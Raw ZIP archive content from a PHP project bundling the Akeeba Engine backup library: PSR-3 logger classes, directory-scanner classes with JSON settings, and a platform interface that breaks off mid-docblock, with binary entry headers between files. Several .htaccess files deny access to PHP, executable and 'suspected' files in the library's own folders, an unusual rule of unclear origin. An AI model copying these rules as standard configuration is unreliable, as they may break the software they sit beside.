 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * This is a simple Logger implementation that other Loggers can inherit from.
 *
 * It simply delegates all log-level-specific methods to the `log` method to
 * reduce boilerplate code that a simple Logger that does the same thing with
 * messages regardless of the error level has to implement.
 */
abstract class AbstractLogger implements LoggerInterface
{
	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function emergency($message, array $context = [])
	{
		$this->log(LogLevel::EMERGENCY, $message, $context);
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function alert($message, array $context = [])
	{
		$this->log(LogLevel::ALERT, $message, $context);
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function critical($message, array $context = [])
	{
		$this->log(LogLevel::CRITICAL, $message, $context);
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function error($message, array $context = [])
	{
		$this->log(LogLevel::ERROR, $message, $context);
	}

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function warning($message, array $context = [])
	{
		$this->log(LogLevel::WARNING, $message, $context);
	}

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function notice($message, array $context = [])
	{
		$this->log(LogLevel::NOTICE, $message, $context);
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function info($message, array $context = [])
	{
		$this->log(LogLevel::INFO, $message, $context);
	}

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function debug($message, array $context = [])
	{
		$this->log(LogLevel::DEBUG, $message, $context);
	}
}
PK     \ӕB  B  2  vendor/akeeba/engine/engine/Psr/Log/NullLogger.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * This Logger can be used to avoid conditional log calls
 *
 * Logging should always be optional, and if no logger is provided to your
 * library creating a NullLogger instance to have something to throw logs at
 * is a good way to avoid littering your code with `if ($this->logger) { }`
 * blocks.
 */
class NullLogger extends AbstractLogger
{
	/**
	 * Logs with an arbitrary level.
	 *
	 * @param   mixed   $level
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return null
	 */
	public function log($level, $message, array $context = [])
	{
		// noop
	}
}
PK     \Sʉ      -  vendor/akeeba/engine/engine/Psr/Log/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      )  vendor/akeeba/engine/engine/Psr/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \c    +  vendor/akeeba/engine/engine/Scan/smart.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_SCAN_SMART_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION"
    },
    "engine.scan.smart.large_dir_threshold": {
        "default": "100",
        "type": "integer",
        "min": "0",
        "max": "500",
        "shortcuts": "20|50|100|200|300|400|500",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBA_CONFIG_LARGEDIRTHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION"
    },
    "engine.scan.common.largefile": {
        "default": "10485760",
        "type": "integer",
        "min": "1048576",
        "max": "1048576000",
        "shortcuts": "1048576|2097152|5242880|10485760|15728640|20971520|26214400|31457280|41943040|52428800|78643200|104857600",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_LARGEFILE_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGEFILE_DESCRIPTION"
    }
}PK     \z*P  P  *  vendor/akeeba/engine/engine/Scan/Smart.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Scan;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use DirectoryIterator;
use Exception;
use RuntimeException;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * A filesystem scanner which uses opendir() and is smart enough to make large directories
 * be scanned inside a step of their own.
 *
 * The idea is that if it's not the first operation of this step and the number of contained
 * directories AND files is more than double the number of allowed files per fragment, we should
 * break the step immediately.
 *
 */
class Smart extends Base
{
	public function getFiles($folder, &$position)
	{
		$registry = Factory::getConfiguration();
		// Was the breakflag set BEFORE starting? -- This workaround is required due to PHP5 defaulting to assigning variables by reference
		$breakflag_before_process = $registry->get('volatile.breakflag', false);

		// Reset break flag before continuing
		$breakflag = false;

		// Initialize variables
		$arr   = [];
		$false = false;

		if (!@is_dir($folder) && !@is_dir($folder . '/'))
		{
			return $false;
		}

		$counter    = 0;
		$registry   = Factory::getConfiguration();
		$maxCounter = $registry->get('engine.scan.smart.large_dir_threshold', 100);

		$allowBreakflag = ($registry->get('volatile.operation_counter', 0) != 0) && !$breakflag_before_process;

		if (!@is_dir($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not a folder.');
		}

		if (!@is_readable($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not readable.');
		}

		try
		{
			$di = new DirectoryIterator($folder);
		}
		catch (Exception $e)
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator reports the path cannot be opened.', 0, $e);
		}

		if (!$di->valid())
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator could open the folder but immediately reports itself as not valid. If this happens your server is about to die.');
		}

		$ds = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;

		/** @var DirectoryIterator $file */
		foreach ($di as $file)
		{
			if ($breakflag)
			{
				break;
			}

			/**
			 * If the directory entry is a link pointing somewhere outside the allowed directories per open_basedir we
			 * will get a RuntimeException (tested on PHP 5.3 onwards). Catching it lets us report the link as
			 * unreadable without suffering a PHP Fatal Error.
			 */
			try
			{
				$file->isLink();
			}
			catch (RuntimeException $e)
			{
				if (!in_array($di->getFilename(), ['.', '..']))
				{
					Factory::getLog()->warning(sprintf("Link %s is inaccessible. Check the open_basedir restrictions in your server's PHP configuration", $file->getPathname()));
				}

				continue;
			}

			if ($file->isDot())
			{
				continue;
			}

			if ($file->isDir())
			{
				continue;
			}

			$dir  = $folder . $ds . $file->getFilename();
			$data = $dir;

			if (_AKEEBA_IS_WINDOWS)
			{
				$data = Factory::getFilesystemTools()->TranslateWinPath($dir);
			}

			if ($data)
			{
				$arr[] = $data;
			}

			$counter++;

			if ($counter >= $maxCounter)
			{
				$breakflag = $allowBreakflag;
			}
		}

		// Save break flag status
		$registry->set('volatile.breakflag', $breakflag);

		return $arr;
	}

	public function getFolders($folder, &$position)
	{
		// Was the breakflag set BEFORE starting? -- This workaround is required due to PHP5 defaulting to assigning variables by reference
		$registry                 = Factory::getConfiguration();
		$breakflag_before_process = $registry->get('volatile.breakflag', false);

		// Reset break flag before continuing
		$breakflag = false;

		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not a folder.');
		}

		if (!@is_readable($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not readable.');
		}

		$counter    = 0;
		$registry   = Factory::getConfiguration();
		$maxCounter = $registry->get('engine.scan.smart.large_dir_threshold', 100);

		$allowBreakflag = ($registry->get('volatile.operation_counter', 0) != 0) && !$breakflag_before_process;

		try
		{
			$di = new DirectoryIterator($folder);
		}
		catch (Exception $e)
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator reports the path cannot be opened.', 0, $e);
		}

		if (!$di->valid())
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator could open the folder but immediately reports itself as not valid. If this happens your server is about to die.');
		}

		$ds = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;

		/** @var DirectoryIterator $file */
		foreach ($di as $file)
		{
			if ($breakflag)
			{
				break;
			}

			/**
			 * If the directory entry is a link pointing somewhere outside the allowed directories per open_basedir we
			 * will get a RuntimeException (tested on PHP 5.3 onwards). Catching it lets us report the link as
			 * unreadable without suffering a PHP Fatal Error.
			 */
			try
			{
				$file->isLink();
			}
			catch (RuntimeException $e)
			{
				if (!in_array($di->getFilename(), ['.', '..']))
				{
					Factory::getLog()->warning(sprintf("Link %s is inaccessible. Check the open_basedir restrictions in your server's PHP configuration", $file->getPathname()));
				}

				continue;
			}

			if ($file->isDot())
			{
				continue;
			}

			if (!$file->isDir())
			{
				continue;
			}

			$dir  = $folder . $ds . $file->getFilename();
			$data = $dir;

			if (_AKEEBA_IS_WINDOWS)
			{
				$data = Factory::getFilesystemTools()->TranslateWinPath($dir);
			}

			if ($data)
			{
				$arr[] = $data;
			}

			$counter++;

			if ($counter >= $maxCounter)
			{
				$breakflag = $allowBreakflag;
			}
		}

		// Save break flag status
		$registry->set('volatile.breakflag', $breakflag);

		return $arr;
	}
}
PK     \jz^  ^  )  vendor/akeeba/engine/engine/Scan/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Scan;

defined('AKEEBAENGINE') || die();

abstract class Base
{
	/**
	 * Gets all the files of a given folder
	 *
	 * @param   string   $folder    The absolute path to the folder to scan for files
	 * @param   integer  $position  The position in the file list to seek to. Use null for the start of list.
	 *
	 * @return  array  A simple array of files
	 */
	abstract public function getFiles($folder, &$position);

	/**
	 * Gets all the folders (subdirectories) of a given folder
	 *
	 * @param   string   $folder    The absolute path to the folder to scan for files
	 * @param   integer  $position  The position in the file list to seek to. Use null for the start of list.
	 *
	 * @return  array  A simple array of folders
	 */
	abstract public function getFolders($folder, &$position);
}
PK     \fJ]  ]  +  vendor/akeeba/engine/engine/Scan/large.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_SCAN_LARGE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION"
    },
    "engine.scan.large.dir_threshold": {
        "default": "100",
        "type": "integer",
        "min": "1",
        "max": "1000",
        "shortcuts": "20|50|100|200|300|400|500",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBA_CONFIG_LARGE_DIRTHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION"
    },
    "engine.scan.large.file_threshold": {
        "default": "50",
        "type": "integer",
        "min": "1",
        "max": "1000",
        "shortcuts": "10|20|50|100|200|300|400|500",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBA_CONFIG_LARGE_FILESTHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION"
    },
    "engine.scan.common.largefile": {
        "default": "10485760",
        "type": "integer",
        "min": "1048576",
        "max": "1048576000",
        "shortcuts": "1048576|2097152|5242880|10485760|15728640|20971520|26214400|31457280|41943040|52428800|78643200|104857600",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_LARGEFILE_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGEFILE_DESCRIPTION"
    }
}PK     \SŒr    *  vendor/akeeba/engine/engine/Scan/Large.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Scan;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use DirectoryIterator;
use Exception;
use RuntimeException;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * A filesystem scanner which uses opendir() and is smart enough to make large directories
 * be scanned inside a step of their own.
 *
 * The idea is that if it's not the first operation of this step and the number of contained
 * directories AND files is more than double the number of allowed files per fragment, we should
 * break the step immediately.
 *
 */
class Large extends Base
{
	public function getFiles($folder, &$position)
	{
		return $this->scanFolder($folder, $position, false, 'file', 100);
	}

	public function getFolders($folder, &$position)
	{
		return $this->scanFolder($folder, $position, true, 'dir', 50);
	}

	protected function scanFolder($folder, &$position, $forFolders = true, $threshold_key = 'dir', $threshold_default = 50)
	{
		$registry = Factory::getConfiguration();

		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not a folder.');
		}

		if (!@is_readable($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not readable.');
		}

		try
		{
			$di = new DirectoryIterator($folder);
		}
		catch (Exception $e)
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator reports the path cannot be opened.', 0, $e);
		}

		if (!$di->valid())
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator could open the folder but immediately reports itself as not valid. If this happens your server is about to die.');
		}

		if (!empty($position))
		{
			$di->seek($position);

			if ($di->key() != $position)
			{
				$position = null;

				return $arr;
			}
		}

		$counter    = 0;
		$maxCounter = $registry->get("engine.scan.large.{$threshold_key}_threshold", $threshold_default);

		while ($di->valid())
		{
			/**
			 * If the directory entry is a link pointing somewhere outside the allowed directories per open_basedir we
			 * will get a RuntimeException (tested on PHP 5.3 onwards). Catching it lets us report the link as
			 * unreadable without suffering a PHP Fatal Error.
			 */
			try
			{
				$di->isLink();
			}
			catch (RuntimeException $e)
			{
				if (!in_array($di->getFilename(), ['.', '..']))
				{
					Factory::getLog()->warning(sprintf("Link %s is inaccessible. Check the open_basedir restrictions in your server's PHP configuration", $di->getPathname()));
				}

				$di->next();

				continue;
			}

			if ($di->isDot())
			{
				$di->next();

				continue;
			}

			if ($di->isDir() != $forFolders)
			{
				$di->next();

				continue;
			}

			$ds  = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;
			$dir = $folder . $ds . $di->getFilename();

			$data = _AKEEBA_IS_WINDOWS ? Factory::getFilesystemTools()->TranslateWinPath($dir) : $dir;

			if ($data)
			{
				$counter++;
				$arr[] = $data;
			}

			if ($counter == $maxCounter)
			{
				break;
			}

			$di->next();
		}

		// Determine the new value for the position
		$di->next();

		$position = $di->valid() ? ($di->key() - 1) : null;

		return $arr;
	}
}
PK     \Sʉ      *  vendor/akeeba/engine/engine/Scan/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \0  0  :  vendor/akeeba/engine/engine/Platform/PlatformInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Platform;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * Interface PlatformInterface
 *
 * @property string $tableNameProfiles The name of the table where backup profiles are stored
 * @property string $tableNameStats    The name of the table where backup records are stored
 * @property array  $configOverrides   Configuration overrides
 */
interface PlatformInterface
{
	/**
	 * Returns an array with the directory/-ies in which the magic autoloader should look for platform overrides.
	 *
	 * @return  array
	 */
	public function getPlatformDirectories();

	/**
	 * Performs heuristics to determine if this platform object is the ideal
	 * candidate for the environment Akeeba Engine is running in.
	 *
	 * @return  bool
	 */
	public function isThisPlatform();

	/**
	 * Saves the current configuration to the database table
	 *
	 * @param   int  $profile_id      The profile where to save the configuration
	 *                                to, defaults to current profile
	 *
	 * @return  bool  True if everything was saved properly
	 */
	public function save_configuration($profile_id = null);

	/**
	 * Loads the current configuration off the database table
	 *
	 * @param   int  $profile_id  The profile where to read the configuration from, defaults to current profile
	 *
	 * @return  bool  True if everything was read properly
	 */
	public function load_configuration($profile_id = null);

	/**
	 * Returns an associative array of stock platform directories
	 *
	 * @return  array
	 */
	public function get_stock_directories();

	/**
	 * Returns the absolute path to the site's root
	 *
	 * @return  string
	 */
	public function get_site_root();

	/**
	 * Returns the absolute path to the installer images directory
	 *
	 * @return  string
	 */
	public function get_installer_images_path();

	/**
	 * Returns the active profile number
	 *
	 * @return  integer
	 */
	public function get_active_profile();

	/**
	 * Returns the selected profile's name. If no ID is specified, the current
	 * profile's name is returned.
	 *
	 * @param   integer|null  $id  The ID of the profile, skip for current profile
	 *
	 * @return  string
	 */
	public function get_profile_name($id = null);

	/**
	 * Returns the backup origin
	 *
	 * @return  string  Backup origin: backend|frontend
	 */
	public function get_backup_origin();

	/**
	 * Returns a timestamp formatted for the current site's database driver
	 *
	 * @param   string  $date  [optional] The timestamp to use. Omit to use current timestamp.
	 *
	 * @return  string
	 */
	public function get_timestamp_database($date = 'now');

	/**
	 * Returns the current timestamp, taking into account any TZ information,
	 * in the format specified by $format.
	 *
	 * @param   string  $format  Timestamp format string (standard PHP format string)
	 *
	 * @return  string
	 */
	public function get_local_timestamp($format);

	/**
	 * Returns the current host name
	 *
	 * @return  string
	 */
	public function get_host();

	/**
	 * Returns the current site's name
	 *
	 * @return  string
	 */
	public function get_site_name();

	/**
	 * Creates or updates the statistics record of the current backup attempt
	 *
	 * @param   int    $id    Backup record ID, use null for new record
	 * @param   array  $data  The data to store
	 *
	 * @return int|null The new record id, or null if this doesn't apply
	 *
	 * @throws Exception On database error
	 */
	public function set_or_update_statistics($id = null, $data = []);

	/**
	 * Loads and returns a backup statistics record as a hash array
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return  array
	 */
	public function get_statistics($id);

	/**
	 * Completely removes a backup statistics record
	 *
	 * @param   int  $id  Backup record ID
	 *
	 * @return  bool  True on success
	 */
	public function delete_statistics($id);

	/**
	 * Returns a list of backup statistics records, respecting the pagination
	 *
	 * The $config array allows the following options to be set:
	 * limitstart    int        Offset in the recordset to start from
	 * limit        int        How many records to return at once
	 * filters        array    An array of filters to apply to the results. Alternatively you can just pass a profile
	 * ID to filter by that profile. order        array    Record ordering information (by and ordering)
	 *
	 * @param   array  $config  See above
	 *
	 * @return  array
	 */
	function &get_statistics_list($config = []);

	/**
	 * Return the total number of statistics records
	 *
	 * @param   array  $filters  An array of filters to apply to the results. Alternatively you can just pass a profile
	 *                           ID to filter by that profile.
	 *
	 * @return  integer
	 */
	function get_statistics_count($filters = null);

	/**
	 * Returns an array with the specifics of running backups
	 *
	 * @param   string  $tag  The backup type (e.g. backend)
	 *
	 * @return  array
	 */
	public function get_running_backups($tag = null);

	/**
	 * Multiple backup attempts can share the same backup file name. Only
	 * the last backup attempt's file is considered valid. Previous attempts
	 * have to be deemed "obsolete". This method returns a list of backup
	 * statistics ID's with "valid"-looking names. IT DOES NOT CHECK FOR THE
	 * EXISTENCE OF THE BACKUP FILE!
	 *
	 * @param   bool    $useprofile   If true, it will only return backup records of the current profile
	 * @param   array   $tagFilters   Which tags to include; leave blank for all. If the first item is "NOT", then all
	 *                                tags EXCEPT those listed will be included.
	 * @param   string  $ordering     Ordering of the records, default DESC (descending), use DESC or ASC
	 *
	 * @return  array    A list of ID's for records w/ "valid"-looking backup files
	 */
	public function &get_valid_backup_records($useprofile = false, $tagFilters = [], $ordering = 'DESC');

	/**
	 * Invalidates older records sharing the same $archivename
	 *
	 * @param   string  $archivename  The archive name
	 *
	 * @return  void
	 */
	public function remove_duplicate_backup_records($archivename);

	/**
	 * Marks the specified backup records as having no files
	 *
	 * @param   array  $ids  Array of backup record IDs to ivalidate
	 *
	 * @return  void
	 */
	public function invalidate_backup_records($ids);

	/**
	 * Gets a list of records with remotely stored files in the selected remote storage
	 * provider and profile.
	 *
	 * @param   int     $profile   (optional) The profile to use. Skip or use null for active profile.
	 * @param   string  $engine    (optional) The remote engine to looks for. Skip or use null for the active profile's
	 *                             engine.
	 *
	 * @return  array
	 */
	public function get_valid_remote_records($profile = null, $engine = null);

	/**
	 * Returns the filter data for the entire filter group collection
	 *
	 * @return  array
	 */
	public function &load_filters();

	/**
	 * Saves the nested filter data array $filter_data to the database
	 *
	 * @param   array  $filter_data  The filter data to save
	 *
	 * @return  bool  True on success
	 */
	public function save_filters(&$filter_data);

	/**
	 * Gets the best matching database driver class, according to CMS settings
	 *
	 * @param   bool  $use_platform     If set to false, it will forcibly try to assign one of the primitive type
	 *                                  (Mysql/Mysqli) and NEVER tell you to use an platform driver
	 *
	 * @return  string
	 */
	public function get_default_database_driver($use_platform = true);

	/**
	 * Returns a set of options to connect to the default database of the current CMS
	 *
	 * @return  array
	 */
	public function get_platform_database_options();

	/**
	 * Provides a platform-specific translation function
	 *
	 * @param   string  $key  The translation key
	 *
	 * @return  string
	 */
	public function translate($key);

	/**
	 * Populates global constants holding the Akeeba version
	 *
	 * @return  void
	 */
	public function load_version_defines();

	/**
	 * Returns the platform name and version
	 *
	 * @return  array  Contains the platform name and version
	 */
	public function getPlatformVersion();

	/**
	 * Logs platform-specific directories with LogLevel::INFO log level
	 *
	 * @return  string  If there are any extra notes / warnings on this platform
	 */
	public function log_platform_special_directories();

	/**
	 * Loads a platform-specific software configuration option. These are
	 * configuration values for the backup engine, but unlike the rest of the
	 * configuration options they are not stored in the backup profile.
	 * Instead, these are stored globally using a platform-specific method.
	 * So these are not configuration values for the platform itself.
	 *
	 * @param   string  $key      The configuration option to retrieve
	 * @param   mixed   $default  The default value to return if it's not defined
	 *
	 * @return  mixed
	 */
	public function get_platform_configuration_option($key, $default);

	/**
	 * Returns a list of emails to the administrators
	 *
	 * @return  array
	 */
	public function get_administrator_emails();

	/**
	 * Sends a very simple email using the platform's emailer facility
	 *
	 * @param   string  $to          Recipient address
	 * @param   string  $subject     Email subject line
	 * @param   string  $body        Email body (plain text)
	 * @param   string  $attachFile  (optional) Full path to the file being attached
	 *
	 * @return  bool  True on success
	 */
	public function send_email($to, $subject, $body, $attachFile = null);

	/**
	 * Deletes a file from the local server using direct file access or FTP
	 *
	 * @param   string  $file  The file to unlink
	 *
	 * @return  bool  True on success
	 */
	public function unlink($file);

	/**
	 * Moves a file around within the local server using direct file access or FTP
	 *
	 * @param   string  $from  Full path of the file to move
	 * @param   string  $to    Full path of where the file will be moved to
	 *
	 * @return  bool  True on success
	 */
	public function move($from, $to);

	/**
	 * Stores a flash (temporary) variable in the session.
	 *
	 * @param   string  $name   The name of the variable to store
	 * @param   string  $value  The value of the variable to store
	 *
	 * @return  void
	 */
	public function set_flash_variable($name, $value);

	/**
	 * Return the value of a flash (temporary) variable from the session and
	 * immediately removes it.
	 *
	 * @param   string  $name     The name of the flash variable
	 * @param   mixed   $default  Default value, if the variable is not defined
	 *
	 * @return  mixed  The value of the variable or $default if it's not set
	 */
	public function get_flash_variable($name, $default = null);

	/**
	 * Perform an immediate redirection to the defined URL
	 *
	 * @param   string  $url  The URL to redirect to
	 *
	 * @return  void
	 */
	public function redirect($url);

	/**
	 * Get the proxy configuration for this platform.
	 *
	 * @return  array{enabled: bool, host: string, port: int, user: string, pass: string}
	 * @since   9.0.7
	 */
